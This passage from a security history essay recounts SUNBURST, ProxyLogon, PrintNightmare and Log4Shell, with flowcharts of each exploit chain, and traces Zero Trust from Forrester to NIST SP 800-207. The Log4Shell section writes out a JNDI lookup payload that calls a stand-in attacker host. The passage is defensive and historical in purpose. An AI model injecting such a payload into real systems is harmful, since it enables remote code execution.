Federated trust accepts forged assertion Note over Customer,M365: Approximately 100 targeted follow-on victims out of 18,000 SUNBURST recipients

Blast radius. SolarWinds' December 14 Form 8-K stated that fewer than 18,000 customers installed the trojanized updates between March and June 2020 [@solarwinds-sec-edgar]. Brad Smith's February 23 Senate testimony placed the count of follow-on victims pursued via lateral movement at fewer than 100 [@senate-intel-2021-02-23]. On April 15, 2021, the White House formally attributed the operation to the Russian Foreign Intelligence Service (SVR), with coincident sanctions and the expulsion of ten Russian diplomats [@wh-fact-sheet-svr-attribution]. The activity cluster Mandiant had originally tracked as UNC2452 was merged into APT29 in May 2022 [@mandiant-apt29-merge]; Microsoft's Nobelium designation was retired on April 18, 2023 in favor of "Midnight Blizzard" under the new weather-themed actor-naming scheme [@ms-actor-naming-2023].

The renaming pile-up matters operationally. Detection rules written against "UNC2452" in early 2021, against "APT29" after May 2022, and against "Midnight Blizzard" after April 2023 all reference the same actor cluster, but tooling and queries that anchor on a single name miss the others. Mandiant's SUNBURST countermeasure repository preserves the original IOCs [@mandiant-sunburst-countermeasures-gh].

Vendor response and federal action. CISA's January 8, 2021 Cybersecurity Advisory AA21-008A was the first federal advisory to name forged authentication tokens, federated identity bypass, and cloud-side persistence as a coherent detection priority [@cisa-aa21-008a]. CISA released an open-source detection tool, Sparrow, with the advisory. SolarWinds shipped Orion 2020.2.1 HF 2 as the hotfix sequence. The April 13, 2021 Department of Justice action against ProxyLogon web shells (covered in the next subsection) and the April 15 White House attribution and sanctions package effectively closed the public-sector response cycle within four months of the December 13 disclosure.

In his 1983 Turing Award lecture, published in *Communications of the ACM* in August 1984, Ken Thompson described a self-referential modification to a compiler that produced a backdoor in any program the compiler subsequently compiled, including future copies of the compiler itself [@thompson-1984-acm, @thompson-nakamoto-reading]. The construction has a property that is easy to state and hard to confront: no amount of source-code auditing reveals the backdoor, because the backdoor is not in any source code. It is in the compiler's behavior.

SUNBURST is not the same construction. The compromise was at the build server rather than the compiler, and the attacker's code was added to the artifact rather than inserted by a self-replicating modification. The relevant similarity is architectural rather than mechanical. In both cases the trust anchor (the compiler in Thompson's lecture, the publisher's code-signing certificate in SUNBURST) was doing exactly what it was specified to do. The auditor of a backdoored binary cannot find the backdoor in the source. The customer of a backdoored vendor cannot find the backdoor in the signature. The chain of evidence is intact at the level the verifier is checking; the failure is at a level the verifier was never specified to check.

Thompson's closing sentence -- "You can't trust code that you did not totally create yourself" -- reads in 1984 as a thought experiment and in 2020 as an operational claim about the build pipelines of every software vendor in the Authenticode trust list.

Key idea: Signed code from your vendor is not trustworthy if your vendor's build pipeline is compromised. Authenticode signs the publisher's binary; it does not sign the build that produced the binary. The eighteen thousand SUNBURST recipients did exactly what their endpoints were specified to do.

If the entry was a signed update from a trusted vendor, the entry was inside the perimeter before the perimeter was tested. The second incident showed what happens when the entry is the perimeter.

3.2 HAFNIUM / ProxyLogon: The Front-End That Pre-Authenticated for the Back-End

Two independent researcher pipelines converged on the same Exchange vulnerability chain within days of each other in January 2021. Volexity's Steven Adair and team observed exploitation activity against customer Exchange Server deployments as early as January 6, 2021 -- a date Volexity later revised to January 3, 2021 in their March 8 update to "Operation Exchange Marauder" [@volexity-exchange-marauder]. Both January dates are earliest-observed exploitation dates, not detection or zero-day-identification dates; the chain was already in operator hands when Volexity's customer-side incident-response telemetry surfaced it. DEVCORE's Cheng-Da "Orange Tsai" Tsai arrived at the same chain independently through code review and reported it to MSRC on January 5 [@orange-tsai-proxylogon]. Both reports landed at Microsoft Security Response Center; both researchers held the disclosure as MSRC worked on a patch. On March 2, 2021 -- a Tuesday, but not a Patch Tuesday -- Microsoft shipped out-of-band updates for all supported Exchange Server versions [@msft-hafnium-blog].

The exploit chain. The audit-correct shape of the chain is three CVEs, not four. CVE-2021-26855 is a server-side request forgery in the Exchange Server front-end that allows an unauthenticated attacker to send requests to the back-end as if the requester were Exchange itself [@nvd-cve-2021-26855]. CVE-2021-27065 is a post-authentication arbitrary file write that the attacker reaches via the SSRF, allowing an attacker-chosen ASPX web shell to be written to a server-controlled directory [@tenable-exchange-zd]. The shell then executes under the Exchange process identity, which is SYSTEM. A separate file-write primitive (CVE-2021-26858) provides a parallel path to the same web-shell drop after authentication.

A class of vulnerability in which an attacker induces a server to issue requests on the attacker's behalf, typically to internal resources that the attacker could not reach directly. CVE-2021-26855 was an SSRF in the Exchange Server front-end (the Client Access role): a forged X-AnonResource-Backend cookie caused the front-end to proxy attacker-supplied requests to the Exchange back-end with the proxy's own authentication context, bypassing the Exchange authentication boundary entirely.

CVE-2021-26857 sits in a parallel position. It is an insecure deserialization in Exchange's Unified Messaging service that yields code execution as SYSTEM to any authenticated user [@tenable-exchange-zd]. It does not require the SSRF step. Treating ProxyLogon as a single linear chain of four CVEs is the common simplification; the audit-correct framing is three CVEs in the linear SSRF-to-web-shell path and one separate authenticated RCE primitive in a parallel position.

Note: The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. The chain that proxies through 26855 does not pass through 26857; 26857 was an independent RCE primitive available to attackers who already held any Exchange-authenticated identity, which is a different threat-model class from the pre-auth SSRF.

flowchart TD A[Unauthenticated attacker] --> B[CVE-2021-26855 SSRF on front-end] B --> C[Forged backend-auth cookie] C --> D[CVE-2021-27065 or CVE-2021-26858 arbitrary file write] D --> E[ASPX web shell on disk] E --> F[SYSTEM-level RCE] subgraph Parallel G[Authenticated user] --> H[CVE-2021-26857 Unified Messaging deserialization] H --> F end

Blast radius. Pre-patch numbers come from two separate primaries. Brian Krebs reported on March 5, 2021 that "at least 30,000" U.S. organizations had been compromised [@krebs-hafnium-march5]. Bloomberg's March 7 reporting placed the worldwide figure at "as many as 60,000" organizations [@krebs-hafnium-march5]. After Microsoft's March 2 patch shipped, the chain was widely weaponized by additional actor groups -- LuckyMouse, Tick, Calypso, Winnti, and others -- per ESET's March 10, 2021 enumeration of at least ten APT groups exploiting the same chain [@eset-exchange-10apt-2021]; the aggregate count of post-patch compromised servers ran toward 250,000 in the following weeks per Krebs's contemporaneous reporting on hundreds-of-thousands-class Exchange server compromise globally [@krebs-hafnium-march5]. That 250,000 figure is widely cited but it aggregates post-patch indiscriminate exploitation; it is not a pre-patch numerator. Microsoft attributed the original campaign to a Chinese state-sponsored actor it named HAFNIUM, later renamed Silk Typhoon under the weather-themed scheme in April 2023 [@msft-hafnium-blog, @ms-actor-naming-2023].

HAFNIUM became Silk Typhoon at the same April 18, 2023 rename pass that made Nobelium into Midnight Blizzard [@ms-actor-naming-2023]. Microsoft's threat-actor naming history matters because mid-cycle renames can fragment detection coverage; rules keyed on the old name will silently stop matching new advisories.

Vendor response and federal action. Beyond the March 2 out-of-band patches, Microsoft released a one-click mitigation tool on March 8 and the Exchange On-premises Mitigation Tool on March 15. The Department of Justice and FBI then took an unprecedented step.

On April 13, 2021, the U.S. Department of Justice announced that the FBI had executed a court-authorized operation under Rule 41 of the Federal Rules of Criminal Procedure to access compromised on-premises Exchange servers in the United States, copy the attacker-installed web shells, and remove them -- without the system owners' prior consent or notification [@doj-fbi-rule41-pr, @hunton-fbi-rule41]. Owners were notified afterward.

The legal mechanism is worth pausing on. Rule 41, as amended in 2016, allows a single magistrate judge to authorize searches of computers whose location is unknown or whose location is in five or more judicial districts. The April 13 operation was the first major use of that authority to remediate third-party systems at scale, rather than to investigate. The precedent matters: every subsequent federal incident response that contemplates active intervention on private systems sits in the shadow of this order.

The architectural lesson is at the level of the product design. Exchange Server's front-end and back-end were specified to communicate over an authenticated trust boundary inside a single deployment. CVE-2021-26855 made the front-end act as the attacker's proxy into the back-end; the SSRF did not bypass the trust boundary, it relocated to its server-side end and walked through it. On-premises server fleets that organizations control are still on the public internet, and the entry-point class is "the front-end proxy that pre-authenticates traffic for the back-end."

If the supply-chain class compromised the signed code on the endpoint, the on-premises server class compromised the boundary readers thought was between the endpoint and the internet. The third incident compromised the boundary inside the perimeter.

3.3 PrintNightmare: The Legacy SYSTEM Service on Every Domain Controller

On Patch Tuesday, June 8, 2021, Microsoft shipped a fix for CVE-2021-1675 [@msrc-cve-2021-1675] and labelled the vulnerability as an Elevation of Privilege in the Windows Print Spooler. Two weeks later -- with no announcement, no out-of-band advisory, and no community notification -- the MSRC entry was edited to add Remote Code Execution to the impact classification. Sangfor's Zhiniang Peng (@edwardzpeng) and Xuefeng Li (@lxf02942370) had reported the EoP behavior [@cube0x0-cve-2021-1675-gh]; the silent reclassification suggested an RCE primitive existed in the same surface that the June 8 patch had not closed. On June 29, believing the chain was now patched, Sangfor pushed a proof-of-concept to GitHub [@cube0x0-cve-2021-1675-gh, @cert-cc-vu-383432]. The repository was taken down within hours; copies preserved in forks (notably @cube0x0's Impacket port) became the artifact-of-record.

CERT/CC's Will Dormann reproduced the chain the next day and published Vulnerability Note VU#383432 with a sentence that the Windows operations community spent the rest of the week re-reading [@cert-cc-vu-383432]:

While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect against public exploits that may refer to PrintNightmare or CVE-2021-1675. -- Will Dormann, CERT/CC VU#383432, June 30, 2021

On July 1, Microsoft assigned a new CVE -- CVE-2021-34527 -- for the broader RCE surface and acknowledged that it was "similar but distinct" from CVE-2021-1675 [@msrc-cve-2021-34527]. Out-of-band patches followed on July 6-7 for every supported Windows release, including unusual coverage for Windows 7 and Server 2008. On July 13, CISA issued Emergency Directive 21-04 ordering federal civilian agencies to apply the patches immediately and to disable or restrict the Print Spooler on Domain Controllers as a standing mitigation [@cisa-ed-21-04]. Microsoft followed with KB5005010 on July 14, documenting the supplementary Point-and-Print hardening required to close the residual surface [@kb5005010].

The Sangfor commit was preserved in forks because GitHub's fork model maintains each fork as an independent copy of the upstream repository's commit object graph, retained regardless of subsequent upstream deletion [@github-docs-about-forks]. The @cube0x0 fork [@cube0x0-cve-2021-1675-gh] became the de facto preserved artifact-of-record, with Sangfor's original authorship credited in the README. The story is a study in the asymmetry of disclosure timing: a vendor can take down a repository, but cannot retract the bytes that have already left.

PrintNightmare had a prior. Thirteen months earlier, on May 12, 2020, Alex Ionescu and Yarden Shafir published "PrintDemon" against the same service, the same SYSTEM context, and the same fundamental design assumption that PrintNightmare would expose more deeply [@printdemon-windows-internals]. PrintDemon (CVE-2020-1048) exploited the Spooler's printer-port abstraction: a printer port name was an opaque string the Spooler treated as a destination, and an unprivileged user could set the port name to an arbitrary file path. The Spooler would then write the print job bytes to that path -- with SYSTEM privileges -- producing arbitrary file write as SYSTEM through three PowerShell one-liners (Add-Printer, set port, Out-Printer) that any standard user could run. SafeBreach Labs' Peleg Hadar and Tomer Bar independently reported the same surface, reverse-engineered the May Microsoft patch, and presented related Spooler work at Black Hat USA 2020 [@cyberscoop-safebreach-spooler].

The design flaw is the same in both cases: the Spooler's RPC interface trusts caller-supplied strings (port names in PrintDemon; driver-package paths in PrintNightmare) without enforcing caller-side permissions on the file paths they resolve to. PrintDemon's primitive was arbitrary file write as SYSTEM. PrintNightmare's primitive was arbitrary code execution as SYSTEM via DLL load. The May 2020 to June-July 2021 progression is the canonical "expand the primitive" vulnerability-research arc -- same service, same trust assumption, incrementally more dangerous primitive.

Dimension	PrintDemon (CVE-2020-1048)	PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Disclosure	May 12, 2020 Patch Tuesday	June 8 (EoP), July 1 (RCE), July 6-7 OOB
Researchers	Ionescu, Shafir; SafeBreach Hadar, Bar	Sangfor Peng, Li; CERT/CC Dormann; @cube0x0
Vulnerable RPC primitive	Printer-port name accepts arbitrary path	`RpcAddPrinterDriverEx` loads driver from UNC
Primitive class	Arbitrary file write as SYSTEM	Arbitrary code execution as SYSTEM
Caller privilege required	Standard local user	Authenticated domain user
Domain Controller impact	Local file-write only	Remote SYSTEM RCE on every DC running Spooler
Disclosure model	Coordinated, Patch Tuesday	Coordinated, then accidental PoC, then OOB

PrintNightmare is the wider case of an attack-class PrintDemon had already opened. The architectural lesson is that a vulnerability researcher who finds any primitive in a SYSTEM-privileged Windows RPC service should be treated as a signal that the broader surface needs review, not as a point-fix candidate.

The exploit chain. The Windows Print Spooler service (spoolsv.exe) runs as SYSTEM on every Windows machine and is enabled by default, including on Domain Controllers. The Spooler exposes two Remote Procedure Call interfaces (MS-RPRN and MS-PAR) used by clients to query printers, submit jobs, and install drivers. RpcAddPrinterDriverEx is the RPC method that installs a new printer driver. As shipped before July 2021, the method accepted a driver path specified as a UNC, fetched the driver file from that path, and loaded it into the Spooler process -- which runs as SYSTEM. An authenticated domain user could call RpcAddPrinterDriverEx against any reachable Spooler with the driver path pointing to an attacker-controlled share, and obtain SYSTEM execution in the target Spooler process. Domain Controllers running Spooler by default meant any authenticated domain user obtained SYSTEM on every DC. Domain compromise followed.

The MS-RPRN Print System Remote Protocol is the canonical Windows RPC interface for printer management. Per the Microsoft Open Specifications Appendix B Product Behavior, the earliest applicable Windows version is Windows NT 3.1 (1993). It exposes interfaces for printer enumeration, job management, and driver installation. Because Spooler hosts the interface and runs as SYSTEM, every reachable Spooler is a potential SYSTEM-level RPC endpoint. PrintNightmare exploited the `RpcAddPrinterDriverEx` method specifically; the related `RpcAsyncAddPrinterDriver` method is the asynchronous variant Dormann documented as the alternative entry point. flowchart LR A[Domain user with credentials] --> B[RpcAddPrinterDriverEx call] B --> C[Print Spooler on Domain Controller] C --> D[Spooler fetches driver from UNC path] D --> E[Attacker SMB share with malicious DLL] E --> C C --> F[DLL loaded into spoolsv.exe as SYSTEM] F --> G[SYSTEM execution on Domain Controller] G --> H[Domain compromise] PrintNightmare turned on a vendor practice that the disclosure community had not previously named as a primitive: a security advisory whose classification changed without notice. The June 8 publication of CVE-2021-1675 said EoP. The mid-June revision said EoP and RCE. There was no out-of-band advisory, no email to affected administrators, no public callout. The reclassification was visible only to people who happened to revisit the MSRC page.

Sangfor's accidental PoC was, in a real sense, an artifact of the reclassification. The researchers believed the patched June 8 chain was the same chain they had reported and that the published patch covered their proof-of-concept. The change-without-notice meant the patch they were testing was incomplete and the demonstration they were publishing was live. The CERT/CC follow-up demonstrated the same point from the verifier side: a reproducer ran against a fully patched Windows Server 2019 Domain Controller and got SYSTEM.

The post-PrintNightmare disclosure-norms debate spent the next two years working through the implications. Should reclassifications trigger a fresh CVE assignment so the change has its own visible identifier? Should advisories carry change logs analogous to those on RFCs? Should vendors notify researchers credited for one CVE when the classification is broadened? MSRC's current practice has moved toward more transparent change tracking; the 2021 silent reclassification remains the canonical counterexample.

The architectural lesson is that the Windows attack surface still includes services dating from Windows NT 3.1, designed for a single-domain office LAN, running with SYSTEM-equivalent privileges on every Domain Controller by default. A silent vendor reclassification from EoP to RCE is itself an adversarial signal -- it is what leaks the technique.

Note: The defensible architecture for legacy Windows RPC surfaces is to constrain who can reach them and what privileges the host process holds when they are reached. Disabling Print Spooler on Domain Controllers (per CISA ED 21-04 [@cisa-ed-21-04]) and enabling the Point-and-Print restrictions in KB5005010 [@kb5005010] are the immediate hardening; the long-arc architectural answer is the same one that closes the ProxyLogon class, namely treating any service exposing RPC at SYSTEM as an internet-facing surface even when the network topology says otherwise.

If the supply-chain class compromised the signature and the on-premises server class compromised the perimeter, PrintNightmare compromised the inside of the trust boundary -- the Domain Controller itself. The fourth incident showed that even the boundary of the application stack was not a boundary.

3.4 Log4Shell: The Universal Library and the Transitive Dependency Graph

On November 24, 2021, Chen Zhaojun of Alibaba Cloud Security emailed the Apache Software Foundation with a vulnerability in Log4j 2.x: any message that the application logged, if it contained a ${jndi:...} substitution sequence, would trigger an outbound JNDI lookup [@log4j-apache-security]. On December 9, the bug surfaced in Minecraft Java Edition community channels -- which mattered because Minecraft's chat handler logs the messages players send. Within hours, LunaSec's Free Wortley, Chris Thompson, and Forrest Allison published the canonical writeup and coined the name "Log4Shell" [@lunasec-log4shell-gh]. Apache shipped Log4j 2.15.0 on December 10. CVE-2021-44228 was scored CVSS 10.0 [@nvd-cve-2021-44228]. On December 11, CISA Director Jen Easterly's official statement called Log4Shell a "severe risk" and "an urgent challenge to network defenders" [@cisa-easterly-statement-2021-12-11]. Two days later, on the CISA-convened national industry call, she went further: "one of the most serious I've seen in my entire career, if not the most serious" [@cyberscoop-easterly-2021-12-13].

CVE-2021-44228 was the moment "what versions of what library are in my fleet" stopped being a procurement question and became a federal-advisory question. -- Synthesis from CISA AA21-356A and the Apache Log4j security history

Why a Java library belongs in a Windows series. Log4Shell is not a Windows vulnerability. The bug is in Apache Log4j, a Java logging library, and the impact lands on any process that runs the affected Log4j versions and logs untrusted input. It belongs in this series because the most enterprise-impactful exploitation in the Windows-server-fleet population ran through Java applications hosted on Windows: Tomcat and JBoss application servers, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows hosts, Cisco enterprise products, ElasticSearch, and dozens of internal Java services running on Windows Server with embedded JREs. Microsoft's December 11, 2021 Security Blog post (with rolling updates through January 2022) documented Log4Shell exploitation against Windows-hosted Java fleets and the Defender for Endpoint detections built on top [@ms-log4j-guidance]; CISA's joint advisory covered the cross-platform exposure explicitly [@cisa-aa21-356a].

A Java API, first standardized in 1999, that provides a uniform interface for naming and directory services. JNDI is the abstraction layer between Java application code and back-end directory implementations -- LDAP, RMI, DNS, CORBA, and others. The Log4j 2.x message-pattern substitution feature evaluated `${jndi:...}` lookups by calling JNDI to resolve the named resource. If the JNDI URL pointed at an attacker-controlled LDAP server, the attacker could return a Java class reference, which the JVM would then download and instantiate -- executing arbitrary code in the application process.

The exploit chain. Any logged string that contained a ${jndi:ldap://attacker.example/payload} substitution caused Log4j to call out to the attacker's LDAP server. The server returned a Java class reference; the JVM dereferenced it, loaded the class over HTTP, and instantiated it. Arbitrary code execution followed under the JVM's identity. The exploitation primitive was extraordinarily compact: any place an attacker could get an attacker-controlled string into a logged event -- HTTP User-Agent, X-Forwarded-For, Minecraft chat, application form fields, log-event JSON, the username field of a failed authentication -- was an entry point.

sequenceDiagram participant Att as Attacker participant App as Java application on Windows participant Log4j as Log4j 2.x logger participant LDAP as Attacker LDAP server Att->>App: HTTP request, header contains JNDI lookup string App->>Log4j: logger.info incoming-request line Log4j->>Log4j: Message-pattern substitution evaluates the lookup Log4j->>LDAP: JNDI LDAP query to attacker host LDAP->>Log4j: Reference to attacker-hosted Java class Log4j->>LDAP: HTTP fetch of the class file LDAP->>Log4j: Bytecode payload Log4j->>App: JVM instantiates the class, runs constructor as the JVM identity Note over App: SYSTEM-level RCE on Windows hosts where the JVM ran as SYSTEM

The Minecraft Java Edition leak vector mattered both for impact and for visibility. Java Edition's chat handler logs the messages players send. A player who typed a JNDI lookup into chat could trigger remote code execution on any server -- including the player's own Minecraft client -- that processed the chat through Log4j. The fastest public confirmation of the bug came not from a security researcher but from screenshots of Minecraft chat sessions, and the discovery propagated through the gaming community before the security industry had its first advisory out.

Blast radius. CVSS 10.0 is the maximum score the framework allows. At the same December 13 industry call, officials placed Log4Shell as affecting "hundreds of millions of devices" [@cyberscoop-easterly-2021-12-13]; the formal eight-agency joint advisory AA21-356A followed on December 22 [@cisa-aa21-356a]. The number was never an audited count; it was an order-of-magnitude estimate that combined Java's installed base (the JDK shipping by the time of disclosure was on every major enterprise platform) with Log4j's adoption across the Java community (Log4j 2 is a transitive dependency of thousands of enterprise packages, often pulled in by chained dependency graphs that the application owner never explicitly chose). What the figure communicated -- accurately -- was that no one knew how many Log4j 2 instances existed in production.

Patch cascade. Log4j 2.15.0 (December 10) closed CVE-2021-44228 but did not fully eliminate the JNDI lookup primitive. 2.16.0 (December 14) closed CVE-2021-45046 by removing message lookups entirely. 2.17.0 (December 18) closed CVE-2021-45105, a denial-of-service in the same substitution path. 2.17.1 (December 28) closed CVE-2021-44832, an arbitrary-code-execution variant. The architectural lesson includes the "first patch did not actually fix it" story -- four CVEs and four patch releases over nineteen days to fully close a single bug class. Backports to the older 2.3.x and 2.12.x branches continued into January 2022.

A formal, machine-readable inventory of the components -- libraries, packages, embedded code, and dependencies -- that make up a software artifact. The two dominant standards are CycloneDX (OWASP, ECMA-424) [@cyclonedx-home] and SPDX (Linux Foundation, ISO/IEC 5962:2021) [@spdx-home]. EO 14028 made SBOM provision a federal procurement requirement [@eo-14028]; the SBOM debate the four incidents accelerated is whether SBOM data is most useful as a *prevention* tool (refusing to install software whose components fail policy) or as an *incident response* tool (answering "are we exposed?" in hours rather than weeks). Log4Shell was the first incident where the IR utility was operationally tested at scale.

Key idea: Universal libraries with deep transitive-dependency footprints are the new universal attack surface. "What versions of what library are in my fleet" was a question the typical enterprise could not answer in December 2021, and that gap is what accelerated SBOM from a policy document to operational tooling.

Four incidents in thirteen months. Four assumptions broken. The next section asks what the prior-decade controls were actually doing that whole time.

4. Why Prior Art Did Not Catch Any of the Four

If the prior decade had quietly elevated four assumptions to invariants, the prior-decade controls had been quietly enforcing them. Here is what each one was actually doing during 2020-2021.

Endpoint EDR alone. The 2018-2020 industry consensus was that endpoint detection and response, plus a SIEM, plus a security operations centre, plus periodic threat hunting, constituted tractable defense-in-depth. The model worked against malware. It did not work against SUNBURST, because the binary that executed was the one EDR was specified to trust: signed by SolarWinds, on the approved publisher list, distributed via the customer's own patch-management pipeline. It did not work against ProxyLogon either, because the entry was an unauthenticated HTTPS request to a publicly reachable Exchange front-end, and the resulting web shell was an ASPX file served by w3wp.exe (the IIS worker process) -- not a malware drop. By the time EDR had behavioral telemetry on either case, the post-compromise phase was several steps along. Microsoft's own Digital Defense Report acknowledged the posture in plainer language: the industry had become competent at finding attackers after the fact, not at stopping them at first execution [@mddr-2021-specific].

Perimeter VPN and Network Access Control. The defense-in-depth posture of the 2010s assumed the inside of the corporate network was a higher-trust zone than the outside, accessed via a VPN concentrator on the boundary. BeyondCorp's 2014-2017 publication sequence had already named the assumption as architecturally wrong: the December 2014 Ward and Beyer paper [@ward-beyer-2014-usenix], the Spring 2016 Osborn et al. design-to-deployment paper [@beyondcorp-osborn-2016], the Winter 2016 Cittadini et al. access-proxy paper [@beyondcorp-cittadini-2016], the Summer 2017 Peck et al. migration paper [@beyondcorp-peck-2017], and the Fall 2017 Escobedo et al. user-experience paper [@beyondcorp-escobedo-2017] together document Google's transition off the privileged-intranet assumption and onto the public internet. SolarWinds did the empirical version of the same argument. The attacker was already inside the privileged-intranet zone, by virtue of a trusted vendor's signed update being a legitimate inhabitant of that zone. Anything the perimeter VPN was enforcing was being enforced against a population that did not include the attacker.

Patch Tuesday as the universal cadence. Microsoft's Patch Tuesday cadence -- the second Tuesday of every month, published at 10 AM Pacific Time -- was the assumed coordination point for the entire Windows defense industry [@ms-release-cycle]. Detection engineering, change management, scheduled-maintenance windows, and operator workflow all keyed on that monthly rhythm. Between March and August 2021, Microsoft issued multiple out-of-band emergency Exchange and Windows updates [@msft-hafnium-blog, @kb5005010]. The cadence's predictability -- the very property that scaled it to a global operator base -- was the property that made out-of-band patches feel like emergencies. The cadence broke under load not because the model was wrong but because the model assumed the load would not arrive in a sustained burst.

The clustering of out-of-band patches matters as a measured cadence-failure signal. Patch Tuesday absorbs routine load; it does not absorb a clustering of pre-auth RCEs in Exchange Server and Print Spooler within four months. The 2021 cluster was a stress test on the cadence itself, and one of the post-incident operator complaints (from administrators of Domain Controllers required to reboot for the July 6-7 PrintNightmare OOB) was that the cadence's monthly rhythm had been training operations teams for a different threat model than the one 2021 produced.

Note: All three prior-art positions -- endpoint EDR, perimeter VPN, monthly patch cadence -- assumed the trust boundary was knowable. EDR knew which binaries were trusted (the signed ones). The VPN knew where the boundary was (between the corporate LAN and the public internet). Patch Tuesday knew when updates would arrive (the second Tuesday of every month). The 2020-2023 cluster proved each boundary was something other than where the prior decade had placed it. The pivot was already on the shelf; it had just not yet become operative.

5. Zero Trust Was Already on the Shelf

There is a startling chronology fact here. NIST Special Publication 800-207, Zero Trust Architecture [@nist-sp-800-207], was published in August 2020. The Mandiant SUNBURST disclosure was December 13, 2020. Zero Trust was not a response to SolarWinds. It was the vocabulary already on the shelf when SolarWinds needed it.

The intellectual chain. Zero Trust is not a single document but a tradition with a thirteen-year arc. Four named milestones structure that arc.

In September 2010, John Kindervag, then at Forrester Research, published "No More Chewy Centers: Introducing the Zero Trust Model of Information Security" [@kindervag-2010-forrester, @isc2-15-years-zt, @illumio-15-years-zt]. The framing was network-segmentation-first and rhetorically unforgettable:

"Information security professionals must eliminate the soft chewy center by making security ubiquitous throughout the network, not just at the perimeter." -- John Kindervag, Forrester Research, "No More Chewy Centers," September 14, 2010

In December 2014, Rory Ward and Betsy Beyer of Google published "BeyondCorp: A New Approach to Enterprise Security" in USENIX ;login: magazine [@ward-beyer-2014-usenix]. The paper documented Google's transition from a privileged-intranet model to one in which every internal application was reachable on the public internet and every access decision was made on the basis of authenticated user and managed-device identity. A series of further BeyondCorp papers through 2017 worked out the engineering details. BeyondCorp is a production implementation of Zero Trust principles; it is not "the framework," and Ward and Beyer do not claim it is.

Between 2017 and 2018, Forrester elaborated the original framing into Zero Trust eXtended (ZTX), a seven-pillar taxonomy, and Gartner introduced CARTA -- Continuous Adaptive Risk and Trust Assessment -- as a complementary continuous-evaluation framing.ZTX gave the framework a procurement-friendly seven-pillar map; CARTA reframed access decisions as continuous rather than session-initial. Neither produced a complete architectural specification, which is the gap NIST SP 800-207 was published to fill in August 2020.

In August 2020, NIST published SP 800-207 [@nist-sp-800-207]. Authored by Scott Rose, Oliver Borchert, Stu Mitchell, and Sean Connelly, SP 800-207 synthesized Kindervag's framing, BeyondCorp's worked example, ZTX's taxonomy, CARTA's continuous evaluation, and federal Trusted Internet Connections (TIC) guidance into a vendor-neutral architecture. The architectural primitives the document names -- Policy Decision Point, Policy Enforcement Point, Policy Engine, and Policy Administrator -- become the load-bearing vocabulary for every subsequent Zero Trust treatment.

An architectural orientation that refuses the assumption of a privileged inside network and decides every access on the basis of authenticated identity, device posture, and contextual signals at the moment of access. The term was coined by John Kindervag at Forrester in September 2010 [@kindervag-2010-forrester]. BeyondCorp [@ward-beyer-2014-usenix] is Google's production implementation, not the framework. NIST SP 800-207 [@nist-sp-800-207] is the vendor-neutral architectural specification. The Microsoft three-principle formulation ("Verify Explicitly, Use Least Privilege, Assume Breach" [@ms-zt-overview]) is *one* specialization of an older tradition; it is not the original. The two load-bearing primitives in NIST SP 800-207's Zero Trust architecture [@nist-sp-800-207]. The Policy Decision Point is the component that evaluates an access request against policy, user identity, device posture, and contextual signals and produces a decision. The Policy Enforcement Point is the component that intercepts the request and enforces the decision the PDP returns. In Microsoft's stack, Conditional Access [@ms-conditional-access] is the PDP for cloud-application access decisions; the resource (Exchange Online, SharePoint, a custom app) is the PEP. The PDP and PEP can be co-located or remote; the architectural distinction is the one that matters. A common simplification reads NIST SP 800-207 as having "formalized BeyondCorp." This is the wrong shape of the chain.

NIST SP 800-207 explicitly references BeyondCorp as one production implementation of Zero Trust principles, alongside other implementations and prior architectural work. The document does not claim to be a formalization of BeyondCorp; it claims to be a vendor-neutral synthesis of multiple traditions, of which BeyondCorp is the most-cited production exemplar. The naming sequence -- "Zero Trust" 2010 by Kindervag, "BeyondCorp" 2014 by Ward and Beyer, "Zero Trust Architecture" 2020 by Rose et al. -- preserves the distinction.

The reason this matters is that "BeyondCorp" as a brand has become shorthand inside the Google-aligned engineering community for "the Zero Trust thing," while in the federal procurement community the relevant artifact is SP 800-207 itself. When the OMB M-22-09 federal Zero Trust strategy memo [@omb-m-22-09] cites a canonical reference, it cites SP 800-207, not BeyondCorp. The Microsoft three-principle formulation cites SP 800-207. CISA's Zero Trust Maturity Model cites SP 800-207. BeyondCorp is the worked example; SP 800-207 is the contract.

flowchart LR A[Kindervag Forrester 2010, No More Chewy Centers] --> B[Google BeyondCorp 2014 to 2017, USENIX login] B --> C[Forrester ZTX 2017 to 2018] A --> C A --> D[Gartner CARTA 2017 to 2018] C --> E[NIST SP 800-207 August 2020] D --> E B --> E E --> F[Microsoft three-principle 2021 to 2022] E --> G[EO 14028 May 2021 and OMB M-22-09 January 2022] G --> H[CISA ZTMM v2.0 April 2023] E --> H

The Microsoft three-principle adoption -- Verify Explicitly, Use Least Privilege, Assume Breach -- runs through Microsoft Build 2022's Zero Trust keynote programming and through the Microsoft Learn Zero Trust overview that codifies the framing as Microsoft documentation [@ms-zt-overview]. Federal adoption became binding in OMB M-22-09 on January 26, 2022 [@omb-m-22-09], which required Federal Civilian Executive Branch agencies to align with SP 800-207 and the CISA Zero Trust Maturity Model by end of FY24, with phishing-resistant multi-factor authentication as the identity-pillar baseline.

Key idea: Zero Trust is not a 2020 invention, and the SolarWinds-HAFNIUM-PrintNightmare-Log4Shell clustering is not what created the architecture. The vocabulary was already on the shelf in August 2020. The thirteen-month incident clustering is what made the vocabulary operative for the Windows industry -- because the incident clustering invalidated four separate assumptions simultaneously, and only an architectural pivot at the perimeter-trust level addressed all four.

The vocabulary existed in August 2020. The receipt arrived in December 2020. Section 6 walks the four Windows-side primitives that operationalized the vocabulary at scale.

6. The Defensive Layer That Shipped at Scale (2021-2023)

Vocabulary becomes architecture only when something ships. Here are the four Windows-side primitives that operationalized Zero Trust between 2021 and 2023.

6.1 Microsoft Pluton: The Hardware Response to a Supply-Chain Class

